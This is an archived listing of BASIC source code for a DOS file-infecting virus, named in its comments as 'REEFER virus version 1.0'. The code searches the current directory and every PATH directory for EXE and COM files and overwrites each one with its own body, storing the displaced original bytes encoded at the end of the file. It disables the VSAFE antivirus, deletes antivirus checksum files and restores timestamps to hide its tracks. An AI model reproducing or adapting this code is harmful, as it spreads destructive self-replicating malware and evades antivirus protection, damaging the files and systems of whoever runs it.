home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / WEEDV10.ZIP / WEED.ASI next >
Text File  |  1996-10-09  |  7KB  |  352 lines

  1. dim t1(3275)
  2. dim t2(3275)
  3. a$="WEED - v1.0"
  4. gosub bye_vsafe:
  5. vsafebak=cx
  6. gosub chklist:
  7. yourparm$=command$
  8. yourparm$=ltrim$(yourparm$)
  9. yourparm$=rtrim$(yourparm$)
  10. N = LEN(YOURPARM$)
  11. A$ = CHR$(N)
  12. A$ = A$ + YOURPARM$
  13. B$ = CHR$(13)
  14. A$ = A$ + B$
  15. pass$=a$
  16. x=0
  17. rem REEFER virus version 1.0
  18. rem t1 array holds us, t2 array holds original virus length of host,
  19. rem encrypted until needed for extraction of course :-)
  20. rem This virus has the ability to infect by overwriting and still
  21. rem allow the host to run normally. In fact, the host will have
  22. rem no idea that it has been infected!
  23. rem Variables used:
  24.  
  25. rem Before we can begin, we need to load an image of ourselves.
  26. rem this saves on drive needs later!
  27. gosub find_my_name:
  28. filename$=programname$
  29. gosub get_fdt:
  30. oldtime=newtime
  31. olddate=newdate
  32. open"i",1,programname$
  33. for x=1 to 3263
  34. input #1,a$ BYTE
  35. a=asc(a$)
  36. t1(x)=a
  37. next x
  38. close 1
  39. virupath$=""
  40. proc$="*.exe"
  41. gosub start_virus:
  42. proc$="*.com"
  43. gosub start_virus:
  44.         for n=0 to 100
  45.           call sub "path", n, virupath$
  46.           i=LEN(virupath$)
  47.           if i=0 then done:
  48.           b$=right$(virupath$,1)
  49.         if b$<>"\" then
  50.         virupath$=virupath$+"\"
  51.         endif
  52.         out1$="*.exe"
  53.         out2$="*.com"
  54.         proc$=virupath$+out1$
  55.         gosub start_virus:
  56.         proc$=virupath$+out2$
  57.         gosub start_virus:
  58.         next n
  59.  
  60. rem That little code snippit above ensures that we can copy!
  61. rem the next array is to hold our little friend. You'll see :-)
  62.  
  63. done:
  64. rem Here is where we say Bye :-)
  65. rem and transfer control to our gracious host! :-)
  66. a&=filelen(programname$)
  67. b&=a&-3263&
  68. b&=abs(b&)
  69. gosub get_attr:
  70. fileattr=cx
  71. newattr=0
  72. gosub set_attr:
  73. gosub chklist:
  74. open"r",1,programname$
  75. a&=filepos(1,b&)
  76. for x=1 to 3263
  77. input #1,a$ BYTE
  78. a=asc(a$)
  79. a=a-192
  80. t2(x)=a
  81. next x
  82. a&=filepos(1,0)
  83. for x=1 to 3263
  84. a=t2(x)
  85. a$=chr$(a)
  86. if a$="" then
  87. print #1,a$
  88. else
  89. print #1,a$ NONULL
  90. endif
  91. next x
  92. a&=filepos(1,b&)
  93. print #1,"" NONULL
  94. CLOSE 1
  95. newdate=olddate
  96. newtime=oldtime
  97. gosub set_fdt:
  98. newattr=fileattr
  99. gosub set_attr:
  100. rem now, we need to run our new host :-) we can re-infect it afterwards
  101. rem by making a simple call to 'Lets_infect:' and passing the host
  102. rem filename.
  103.                IF pass$="" then
  104.                CALL programname$,""
  105.                else
  106.                call programname$,pass$
  107.                endif
  108. gosub bye_vsafe:
  109. fileattr=cx
  110. filename$=programname$
  111. newattr=0
  112. gosub set_attr:
  113. open"i",1,filename$
  114. for x=1 to 3263
  115. input #1,a$ BYTE
  116. a=asc(a$)
  117. a=a+192
  118. t2(x)=a
  119. next x
  120. close 1
  121. gosub chklist:
  122. open"r",1,filename$
  123. for x=1 to 3263
  124. a=t1(x)
  125. a$=chr$(a)
  126. if a$="" then
  127. print #1,a$
  128. else
  129. print #1,a$ NONULL
  130. endif
  131. next x
  132. a=filepos(1,eof)
  133. for x=1 to 3263
  134. a=t2(x)
  135. a$=chr$(a)
  136. if a$="" then
  137. print #1,a$
  138. else
  139. print #1,a$ NONULL
  140. endif
  141. next x
  142. close 1
  143. newtime=oldtime
  144. newdate=olddate
  145. gosub set_fdt:
  146. newattr=fileattr
  147. gosub set_attr:
  148. gosub chklist:
  149. gosub res_vsafe:
  150. end
  151. rem We have completed replication. all stop!
  152.  
  153.             start_virus:
  154. kewl=0
  155. ATTRIB=16
  156.                FILENAME$=FIND FIRST (proc$,attrib)
  157. gosub test_infection:
  158. if infected=0 then
  159. gosub lets_infect:
  160. endif
  161.  
  162.           while kewl<4
  163. FILENAME$=FIND CONTINUE
  164. gosub test_infection:
  165. if infected=0 then
  166. gosub lets_infect:
  167. endif
  168. IF ERROR>0 THEN
  169. return
  170. endif
  171.           wend
  172.  
  173. Lets_infect:
  174. gosub get_fdt:
  175. gosub get_attr:
  176. fileattr=cx
  177. newattr=0
  178. gosub set_attr:
  179. open"i",1,filename$
  180. for x=1 to 3263
  181. input #1,a$ BYTE
  182. a=asc(a$)
  183. a=a+192
  184. t2(x)=a
  185. next x
  186. close 1
  187. kill"chklist.ms"
  188. open"r",1,filename$
  189. for x=1 to 3263
  190. a=t1(x)
  191. a$=chr$(a)
  192. if a$="" then
  193. print #1,a$
  194. else
  195. print #1,a$ NONULL
  196. endif
  197. next x
  198. a=filepos(1,eof)
  199. for x=1 to 3263
  200. a=t2(x)
  201. a$=chr$(a)
  202. if a$="" then
  203. print #1,a$
  204. else
  205. print #1,a$ NONULL
  206. endif
  207. next x
  208. close 1
  209. gosub set_fdt:
  210. newattr=fileattr
  211. gosub set_attr:
  212. return
  213.  
  214. REM ******* SYSTEM SUB-ROUTINES BELOW THIS LINE. DO NOT TREAD HERE!
  215. REM ******* THESE AREAS MUST NOT BE FOOLED WITH!
  216.  
  217. find_my_name:
  218.    AX = &HEX6200
  219.    INT86(&HEX21,AX,BX,NA,NA,NA,NA,NA,NA,NA)
  220.    PSPSegment = BX
  221.  
  222. rem Find environment address from PSP
  223.  
  224.    DEFSEG = PSPSegment
  225.    a=peek(&hex2d)
  226.    b=peek(&hex2c)
  227.    EnvSegment = a * 256
  228.    EnvSegment = Envsegment + b
  229.  
  230. rem Find the filename
  231.  
  232.    DEFSEG = EnvSegment
  233.    EOT = 1
  234.    rem Set end of environment table flag
  235.    Offset = 0
  236.  
  237.    WHILE EOT=1
  238.     Byte = PEEK(Offset)
  239.     rem Get table character
  240.     IF Byte = 0 THEN
  241.     rem End of environment string?
  242.        Offset = Offset + 1
  243.        Byte = PEEK(Offset)
  244.        IF Byte = 0 THEN
  245.        rem End of environment?
  246.          Offset = Offset + 3
  247.          rem Yes - Skip over nulls & tbl info
  248.          C = PEEK(Offset)
  249.          WHILE C <> 0
  250.          rem Assemble filename string from individual characters
  251.            a$=chr$(c)
  252.            FileN$ = FileN$ + a$
  253.            Offset = Offset + 1
  254.            C = PEEK(Offset)
  255.          WEND
  256.          EOT = 0
  257.          rem Set flag to exit while/wend loop
  258.        ENDIF
  259.     ELSE
  260.     rem No-Read more environment string
  261.        Offset = Offset + 1
  262.     ENDIF
  263.    WEND
  264.    ProgramName$ = FileN$
  265.    DEFSEG=-1
  266. return
  267.  
  268. get_attr:
  269. AX = &HEX4300
  270. DX = VARPTR(Filename$)
  271. CX = NewAttr
  272. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  273. return
  274.  
  275. set_attr:
  276. AX = &HEX4301
  277. DX = VARPTR(Filename$)
  278. CX = NewAttr
  279. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  280. return
  281.  
  282. bye_vsafe:
  283. ax=&hexfa02
  284. dx=&hex5945
  285. bx=0
  286. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  287. return
  288.  
  289. res_vsafe:
  290. ax=&hexfa02
  291. dx=&hex5945
  292. bx=vsafebak
  293. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  294. return
  295.  
  296. get_fdt:
  297. AX=&HEX3D01
  298. DX=varptr(filename$)
  299. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  300. FILE_HANDLE=AX
  301. AX=&HEX5700
  302. BX=FILE_HANDLE
  303. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  304. NEWDATE=CX
  305. NEWTIME=DX
  306. RETURN
  307.  
  308. set_fdt:
  309. AX=&HEX3D01
  310. DX=varptr(filename$)
  311. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  312. FILE_HANDLE=AX
  313. AX=&HEX5701
  314. BX=FILE_HANDLE
  315. CX=NEWDATE
  316. DX=NEWTIME
  317. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  318. RETURN
  319.  
  320. test_infection:
  321. filename$=virupath$+filename$
  322. var$=""
  323. gosub get_attr:
  324. fileattr=newattr
  325. newattr=0
  326. gosub set_attr:
  327. open"r",1,filename$
  328. r=filepos(1,28)
  329. for x=1 to 4
  330. input #1,a$ BYTE
  331. var$=var$+a$
  332. next x
  333. close 1
  334. newattr=fileattr
  335. gosub set_attr:
  336. if var$="┼▀≥≈" then
  337. infected=1
  338. else
  339. infected=0
  340. endif
  341. return
  342.  
  343. chklist:
  344. temp1$=filename$
  345. filename$="chklist.ms"
  346. newattr=0
  347. gosub set_attr:
  348. kill filename$
  349. filename$=temp1$
  350. return
  351.  
  352.